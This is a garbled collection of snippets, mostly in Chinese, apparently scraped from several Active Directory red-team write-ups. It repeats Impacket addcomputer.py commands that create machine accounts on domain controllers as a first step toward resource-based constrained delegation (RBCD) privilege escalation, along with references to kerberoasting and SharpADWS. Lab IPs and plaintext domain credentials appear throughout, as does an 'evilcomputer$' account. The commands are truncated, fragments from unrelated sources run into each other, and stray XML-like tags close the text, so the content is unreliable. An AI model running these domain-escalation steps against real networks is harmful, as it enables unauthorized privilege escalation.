1.创建域机器 python3 addcomputer.py -method SAMR -dc-ip 192.168.130.130 -computer-name QQQ -computer-pass 8003 0.0.0.0 80 1.添加RBCD 1.添加域机器QAZ$ python3 addcomputer.py -method SAMR -dc-ip 192.168.130.130 -computer-name 5e95607216d9a4b7654d831beb9ee95c --AccountOperators addcomputer python3 addcomputer.py -method SAMR -dc-ip 192.168.134.130 -computer-name
kerberoast -target Specify the sAMAccountName of the account AddComputer options: -computer-name ms-DS-MachineAccountQuota 属性值限制的范围内创建一个新的计算机账户,该极其账户可用于后续的 RBCD 攻击中使用 C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name
python3 addcomputer.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name
12server2.redteam.club5.3 利用普通域账号提升到域本地管理员创建机器主机账号python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name redteam.club/hack:pass@123@10.10.10.140 10.10.10.139python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name
python3 addcomputer.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name
首先添加机器账号: addcomputer.py redteam.com/admin:P@ssw0rd -computer-name evilcomputer$ -computer-pass Passw0rd
python3 addcomputer.py xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -dc-host xiaorang.lab -computer-name
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack
<Ws3></Ws3> - WHOIS third URL <S_li></S_li> <RTL></RTL> <SHttpR></SHttpR> - value to download using computer-name